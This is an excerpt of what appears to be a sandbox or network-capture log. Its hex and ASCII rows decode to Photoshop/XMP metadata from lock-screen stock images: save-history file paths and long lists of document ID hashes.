31 32 Data Ascii: 0\Cortana\Motivational-Campaign\Chosen\Crops\QuoteDayHistory_GettyImages-518055460_1080x1920.jpg saved 2017-08-29T15:55:48-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_QuoteDayHistory_GettyImages-46601312
2022-07-20 17:31:06 UTC	2656	IN	Data Raw: 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 37 54 31 36 3a 31 34 3a 33 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 36 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 46 72 6f 6d 4c 6f 63 6b 32 30 31 37 2d 42 35 5c 4c 6f 63 6b 32 30 31 37 2d 42 36 5f 53 41 5f 45 70 75 70 61 46 61 6c 6c 73 41 6e 67 6f 6c 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 32 31 31 34 33 35 35 32 5f 31 Data Ascii: n_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-09-27T16:14:37-07:00 File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\Lock2017_Batch6\_CHOSEN\Crops\FromLock2017-B5\Lock2017-B6_SA_EpupaFallsAngola_GettyImages-621143552_1
2022-07-20 17:31:06 UTC	2672	IN	Data Raw: 6e 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 36 30 37 38 36 37 32 35 5f 31 30 38 30 78 31 39 32 30 35 35 36 37 30 43 42 35 37 35 31 44 46 33 42 46 36 36 46 30 35 41 44 38 31 39 45 34 32 45 34 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 35 54 31 36 3a 33 32 3a 34 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 35 54 31 36 3a 33 35 3a 31 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 Data Ascii: n_shutterstock_360786725_1080x192055670CB5751DF3BF66F05AD819E42E49.psb saved 2017-11-15T16:32:42-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-11-15T16:35:16-08:00 File C:\Users\v-lizagh\AppData\Roa
2022-07-20 17:31:06 UTC	2704	IN	Data Raw: 65 46 6f 6f 74 62 61 6c 6c 42 6f 77 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 36 32 39 32 36 32 35 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 32 3a 32 35 3a 31 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 42 6f 77 6c 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 42 6f 77 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 36 32 39 32 36 32 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 Data Ascii: eFootballBowl_GettyImages-126292625_1080x1920.psd saved 2017-12-14T12:25:13-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\CollegeFootballBowl\CHOSEN\Crops\MIT-CollegeFootballBowl_GettyImages-126292625_1080x1920.jpg saved 2017-12-14T1
2022-07-20 17:31:06 UTC	2712	IN	Data Raw: 68 75 74 74 65 72 73 74 6f 63 6b 5f 35 33 30 32 37 37 37 31 38 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 32 3a 35 38 3a 30 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 4a 61 6e 75 61 72 79 32 30 31 37 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 4a 61 6e 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 35 33 35 34 30 32 36 38 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 32 3a 35 Data Ascii: hutterstock_530277718_1080x1920.jpg saved 2017-12-20T22:58:05-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\January2017\CHOSEN\Crops\MIT-Entertainment-Jan_shutterstock_535402687_1080x1920.jpg saved 2017-12-20T22:5
2022-07-20 17:31:06 UTC	2728	IN	Data Raw: 6d 61 67 65 73 2d 31 33 36 33 32 34 36 35 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 33 31 54 31 32 3a 33 33 3a 34 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 4e 65 77 59 65 61 72 73 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 4e 65 77 59 65 61 72 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 36 33 32 34 36 35 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 33 31 54 31 32 3a 33 35 3a 31 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e Data Ascii: mages-136324652_1080x1920.jpg saved 2018-01-31T12:33:45-08:00 File C:\Users\v-lizagh\MS\Windows10\China\NewYears\_CHOSEN\Crops\China-NewYears_GettyImages-136324652_1080x1920.jpg saved 2018-01-31T12:35:10-08:00 File C:\Users\v-lizagh\MS\Win
2022-07-20 17:31:06 UTC	2744	IN	Data Raw: 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 45 43 39 39 33 34 30 42 35 30 46 37 44 35 37 32 30 43 39 36 39 44 34 32 34 33 31 34 39 36 36 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 37 54 31 38 3a 34 30 3a 32 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 42 61 74 63 68 33 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 4d 58 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 37 36 37 32 34 32 39 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 37 54 31 38 3a 34 32 3a 33 33 2d 30 38 3a 30 30 26 23 Data Ascii: er\_Lockscreen_1080x1920_PortraitEC99340B50F7D5720C969D4243149667.psb saved 2018-03-07T18:40:20-08:00 File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\Batch3\CHOSEN\Crops\MMX_GettyImages-576724290_1080x1920.jpg saved 2018-03-07T18:42:33-08:00&#
2022-07-20 17:31:06 UTC	2752	IN	Data Raw: 61 67 65 73 2d 35 30 38 30 31 36 34 37 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 35 3a 30 35 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 52 6f 75 6e 64 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 69 78 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 39 37 38 35 39 38 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 35 3a 31 31 3a 30 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d Data Ascii: ages-508016472_1080x1920.jpg saved 2018-03-21T15:05:06-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Round2\_CHOSEN\Crops\Mixer_GettyImages-509785986_1080x1920.jpg saved 2018-03-21T15:11:02-07:00 File C:\Users\v-
2022-07-20 17:31:06 UTC	2808	IN	Data Raw: 32 31 30 33 39 41 41 31 34 41 41 46 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 44 38 41 39 43 38 42 35 31 42 44 41 35 41 46 39 44 36 45 30 41 38 39 34 42 41 37 42 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 45 31 44 35 36 44 42 42 46 43 44 45 43 31 31 42 34 32 36 45 46 31 45 30 44 44 31 44 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 46 46 34 39 30 35 30 34 45 43 31 39 31 35 32 33 31 45 41 43 30 34 36 36 46 44 31 38 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 39 30 32 43 43 39 39 36 32 31 41 36 42 36 38 43 42 31 41 45 31 42 45 34 36 42 45 35 31 44 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 39 30 44 30 32 31 41 37 45 41 41 35 35 32 39 46 45 30 41 32 37 30 Data Ascii: 21039AA14AAFFA</rdf:li> <rdf:li>08D8A9C8B51BDA5AF9D6E0A894BA7BA8</rdf:li> <rdf:li>08E1D56DBBFCDEC11B426EF1E0DD1D67</rdf:li> <rdf:li>08FF490504EC1915231EAC0466FD1829</rdf:li> <rdf:li>0902CC99621A6B68CB1AE1BE46BE51DC</rdf:li> <rdf:li>090D021A7EAA5529FE0A270
2022-07-20 17:31:06 UTC	2840	IN	Data Raw: 43 43 30 45 33 31 46 30 32 32 36 38 36 42 46 42 31 30 30 46 41 36 36 32 34 45 31 36 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 35 43 43 43 42 35 32 38 42 36 33 44 35 30 31 45 43 46 37 31 46 42 42 34 45 33 32 33 34 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 35 44 35 45 42 30 31 30 38 33 43 42 36 38 30 37 35 34 34 42 33 38 43 32 46 43 36 35 41 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 35 45 37 37 42 31 38 31 46 37 46 43 45 44 37 36 38 37 36 41 37 36 45 36 35 33 32 44 37 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 35 46 30 34 33 30 30 35 43 44 42 30 41 36 32 33 43 36 41 33 44 33 31 37 39 38 33 34 39 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 36 30 33 34 46 45 Data Ascii: CC0E31F022686BFB100FA6624E1616</rdf:li> <rdf:li>15CCCB528B63D501ECF71FBB4E32343E</rdf:li> <rdf:li>15D5EB01083CB6807544B38C2FC65ACE</rdf:li> <rdf:li>15E77B181F7FCED76876A76E6532D72D</rdf:li> <rdf:li>15F043005CDB0A623C6A3D317983496F</rdf:li> <rdf:li>16034FE
2022-07-20 17:31:06 UTC	2847	IN	Data Raw: 31 31 33 38 35 43 42 37 39 38 35 38 42 44 44 38 46 46 31 45 35 46 43 41 42 35 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 36 30 42 35 38 36 37 33 44 38 43 43 46 38 39 32 30 33 38 33 43 44 34 46 33 39 35 34 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 36 32 37 44 35 41 37 39 34 38 35 34 31 37 42 44 38 38 38 35 30 44 42 30 44 41 43 38 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 36 37 32 33 32 33 41 36 31 37 31 39 36 30 33 38 41 34 35 42 34 41 37 41 31 35 34 35 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 36 45 38 36 45 35 34 38 45 35 41 38 36 34 39 31 32 37 45 35 31 42 42 32 37 42 46 31 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 37 34 41 34 39 44 43 Data Ascii: 11385CB79858BDD8FF1E5FCAB5D6</rdf:li> <rdf:li>1C60B58673D8CCF8920383CD4F395462</rdf:li> <rdf:li>1C627D5A79485417BD88850DB0DAC840</rdf:li> <rdf:li>1C672323A617196038A45B4A7A1545DD</rdf:li> <rdf:li>1C6E86E548E5A8649127E51BB27BF165</rdf:li> <rdf:li>1C74A49DC
2022-07-20 17:31:06 UTC	3030	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 44 43 33 43 30 38 31 35 36 38 42 35 41 44 44 41 32 39 34 35 46 41 37 30 37 30 42 44 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 45 32 38 42 39 33 32 43 41 39 41 31 39 44 38 44 41 41 32 38 41 38 31 31 42 30 43 36 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 45 36 32 46 33 33 36 41 42 30 43 42 32 42 32 41 44 36 33 45 30 30 46 30 30 34 42 46 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 45 42 45 32 35 31 31 32 38 33 42 37 42 43 33 34 36 32 35 30 45 42 33 46 30 41 35 41 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 46 33 38 41 45 32 33 38 32 32 41 34 38 43 37 44 46 44 31 36 38 34 32 30 45 39 35 35 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: li> <rdf:li>29DC3C081568B5ADDA2945FA7070BDFC</rdf:li> <rdf:li>29E28B932CA9A19D8DAA28A811B0C673</rdf:li> <rdf:li>29E62F336AB0CB2B2AD63E00F004BF0C</rdf:li> <rdf:li>29EBE2511283B7BC346250EB3F0A5A3A</rdf:li> <rdf:li>29F38AE23822A48C7DFD168420E95506</rdf:li> <
2022-07-20 17:31:06 UTC	3046	IN	Data Raw: 72 64 66 3a 6c 69 3e 33 36 34 31 38 39 31 34 32 32 43 33 46 36 43 37 35 30 32 41 41 43 43 45 42 42 38 39 42 38 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 36 35 30 32 38 36 36 36 38 44 33 34 37 34 45 38 41 34 31 38 39 44 31 35 38 38 46 32 35 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 36 35 36 37 43 36 44 35 31 45 41 43 31 45 44 32 31 31 37 39 31 30 41 32 46 44 43 35 30 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 36 36 34 43 43 46 30 41 33 44 43 35 37 39 35 42 41 30 30 32 31 41 44 46 41 44 37 35 44 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 36 36 46 37 46 45 30 42 33 32 39 36 42 35 46 34 45 39 42 36 33 42 44 36 33 37 30 44 38 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: rdf:li>3641891422C3F6C7502AACCEBB89B84B</rdf:li> <rdf:li>3650286668D3474E8A4189D1588F259A</rdf:li> <rdf:li>36567C6D51EAC1ED2117910A2FDC50EF</rdf:li> <rdf:li>3664CCF0A3DC5795BA0021ADFAD75D4C</rdf:li> <rdf:li>366F7FE0B3296B5F4E9B63BD6370D82F</rdf:li> <rdf:l
2022-07-20 17:31:06 UTC	3070	IN	Data Raw: 66 3a 6c 69 3e 33 43 46 44 46 46 38 34 45 45 30 42 45 42 46 33 32 34 32 35 32 35 38 41 35 34 30 39 43 41 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 31 41 30 32 45 36 44 39 33 32 46 30 37 35 34 30 36 33 30 36 30 33 35 33 43 38 33 35 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 32 30 41 46 44 37 35 33 44 38 37 35 37 31 44 33 37 45 35 33 45 33 38 37 39 34 42 31 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 32 34 32 32 36 44 35 31 34 38 41 36 39 44 42 41 45 43 32 35 38 32 35 42 45 41 36 33 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 32 41 46 46 31 30 34 32 33 46 31 38 38 30 35 37 34 35 43 30 35 39 41 39 31 43 33 39 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: f:li>3CFDFF84EE0BEBF32425258A5409CACC</rdf:li> <rdf:li>3D1A02E6D932F0754063060353C835B9</rdf:li> <rdf:li>3D20AFD753D87571D37E53E38794B151</rdf:li> <rdf:li>3D24226D5148A69DBAEC25825BEA6363</rdf:li> <rdf:li>3D2AFF10423F18805745C059A91C391A</rdf:li> <rdf:li>
2022-07-20 17:31:06 UTC	3086	IN	Data Raw: 46 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 39 37 33 42 35 41 42 39 38 42 44 36 46 33 30 46 32 46 36 30 37 36 38 42 44 38 44 35 42 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 39 37 41 42 32 35 34 39 36 32 44 39 45 41 30 39 41 32 44 30 41 35 44 35 44 32 38 45 34 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 39 37 42 34 41 36 32 42 41 31 46 44 39 36 32 36 37 32 31 35 35 34 30 42 45 36 41 38 44 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 39 38 35 39 41 31 43 32 34 31 39 38 38 35 33 41 32 41 31 31 34 30 30 45 34 37 34 39 37 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 39 41 41 44 44 36 33 35 43 43 31 32 34 35 42 37 30 46 30 44 45 36 34 32 36 43 41 33 36 45 44 3c 2f Data Ascii: FD7</rdf:li> <rdf:li>4973B5AB98BD6F30F2F60768BD8D5B68</rdf:li> <rdf:li>497AB254962D9EA09A2D0A5D5D28E415</rdf:li> <rdf:li>497B4A62BA1FD96267215540BE6A8DCE</rdf:li> <rdf:li>49859A1C24198853A2A11400E4749721</rdf:li> <rdf:li>49AADD635CC1245B70F0DE6426CA36ED</
2022-07-20 17:31:06 UTC	3102	IN	Data Raw: 34 35 45 46 42 36 46 43 32 37 30 34 36 45 30 35 46 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 37 35 31 38 44 41 39 32 37 43 37 42 34 46 42 38 34 39 46 34 34 44 36 42 45 38 35 42 39 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 37 35 35 46 36 31 37 33 31 42 36 41 37 32 39 36 36 45 46 32 44 44 46 36 36 46 38 33 32 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 37 35 41 30 34 43 31 36 31 32 43 38 43 34 44 34 33 37 44 31 32 45 38 45 45 36 41 45 34 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 37 36 33 30 38 31 45 34 37 38 33 31 34 38 42 44 43 38 41 32 46 31 32 36 38 43 44 37 31 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 37 36 38 37 41 30 36 46 44 39 30 34 42 36 46 37 33 Data Ascii: 45EFB6FC27046E05FD1</rdf:li> <rdf:li>57518DA927C7B4FB849F44D6BE85B9D2</rdf:li> <rdf:li>5755F61731B6A72966EF2DDF66F83261</rdf:li> <rdf:li>575A04C1612C8C4D437D12E8EE6AE416</rdf:li> <rdf:li>5763081E4783148BDC8A2F1268CD713D</rdf:li> <rdf:li>57687A06FD904B6F73
2022-07-20 17:31:06 UTC	3110	IN	Data Raw: 39 43 46 41 39 30 33 46 43 41 41 33 41 33 34 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 45 35 31 39 45 33 35 35 42 34 37 33 43 39 31 31 36 39 39 32 38 44 32 32 36 33 37 34 33 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 45 35 43 42 42 30 38 34 46 34 44 30 44 38 30 38 33 38 44 37 33 42 41 43 35 36 32 46 33 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 45 36 33 46 41 33 44 38 46 39 34 36 34 37 30 43 30 33 34 33 38 33 41 38 36 32 35 31 36 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 45 36 37 41 36 43 34 34 34 43 35 36 31 39 39 44 38 30 46 37 33 41 46 34 41 32 44 36 42 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 45 37 45 32 30 33 36 33 46 36 36 43 44 43 32 33 38 38 44 Data Ascii: 9CFA903FCAA3A347B</rdf:li> <rdf:li>5E519E355B473C91169928D226374379</rdf:li> <rdf:li>5E5CBB084F4D0D80838D73BAC562F3DF</rdf:li> <rdf:li>5E63FA3D8F946470C034383A8625165A</rdf:li> <rdf:li>5E67A6C444C56199D80F73AF4A2D6B7E</rdf:li> <rdf:li>5E7E20363F66CDC2388D
2022-07-20 17:31:06 UTC	3126	IN	Data Raw: 43 44 30 34 43 45 36 45 37 43 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 43 38 35 32 31 32 32 38 41 39 32 30 44 32 37 35 45 46 42 31 41 32 33 30 35 42 43 44 30 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 43 38 42 37 31 31 43 44 34 41 37 31 30 46 34 30 31 41 46 35 43 39 45 32 34 39 46 35 35 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 43 39 44 33 39 35 38 32 33 37 44 43 38 41 32 36 43 31 32 42 30 44 38 30 42 41 41 41 35 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 43 41 36 32 43 36 39 31 45 46 30 39 31 34 42 31 43 35 45 43 46 43 30 45 43 31 42 37 42 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 43 42 42 37 36 36 42 44 44 30 38 34 45 31 42 39 39 42 44 46 42 34 43 33 Data Ascii: CD04CE6E7CDA</rdf:li> <rdf:li>6C8521228A920D275EFB1A2305BCD08F</rdf:li> <rdf:li>6C8B711CD4A710F401AF5C9E249F55A3</rdf:li> <rdf:li>6C9D3958237DC8A26C12B0D80BAAA55A</rdf:li> <rdf:li>6CA62C691EF0914B1C5ECFC0EC1B7BC9</rdf:li> <rdf:li>6CBB766BDD084E1B99BDFB4C3
2022-07-20 17:31:06 UTC	3205	IN	Data Raw: 36 44 45 30 46 33 36 33 44 31 46 37 31 37 38 41 31 46 41 46 41 33 32 35 41 35 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 36 41 42 32 46 41 43 36 43 41 42 30 34 37 33 42 35 43 43 43 43 37 36 41 33 44 45 39 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 36 43 43 44 39 43 38 33 41 31 36 39 44 38 33 42 35 36 30 31 34 36 37 34 43 33 42 39 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 36 45 36 31 34 33 41 38 41 46 41 41 41 34 32 34 42 32 44 38 35 30 32 34 34 34 32 46 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 38 35 32 42 35 44 46 45 36 46 31 45 31 31 45 39 46 35 31 30 42 44 37 32 37 42 37 35 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 38 45 41 30 30 39 41 Data Ascii: 6DE0F363D1F7178A1FAFA325A52F</rdf:li> <rdf:li>7A6AB2FAC6CAB0473B5CCCC76A3DE902</rdf:li> <rdf:li>7A6CCD9C83A169D83B56014674C3B973</rdf:li> <rdf:li>7A6E6143A8AFAAA424B2D85024442F08</rdf:li> <rdf:li>7A852B5DFE6F1E11E9F510BD727B75C4</rdf:li> <rdf:li>7A8EA009A
2022-07-20 17:31:06 UTC	3213	IN	Data Raw: 39 30 39 39 36 37 30 36 30 33 37 43 30 38 39 45 45 41 43 41 46 34 30 42 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 38 45 36 35 43 35 34 44 30 43 37 46 35 44 35 46 33 43 44 36 37 37 37 33 44 38 35 35 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 38 46 33 35 39 37 38 33 45 34 37 37 33 44 30 36 30 44 31 46 32 41 33 33 41 44 38 39 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 39 46 30 42 36 38 45 30 45 45 37 41 39 30 44 46 33 46 34 35 38 36 41 34 30 35 45 42 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 42 30 44 37 43 44 34 34 38 36 45 43 46 39 38 44 46 35 36 32 31 43 45 34 43 45 33 37 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 42 38 39 38 46 34 34 30 38 Data Ascii: 90996706037C089EEACAF40BA9</rdf:li> <rdf:li>818E65C54D0C7F5D5F3CD67773D8550D</rdf:li> <rdf:li>818F359783E4773D060D1F2A33AD89A3</rdf:li> <rdf:li>819F0B68E0EE7A90DF3F4586A405EB18</rdf:li> <rdf:li>81B0D7CD4486ECF98DF5621CE4CE37D0</rdf:li> <rdf:li>81B898F4408
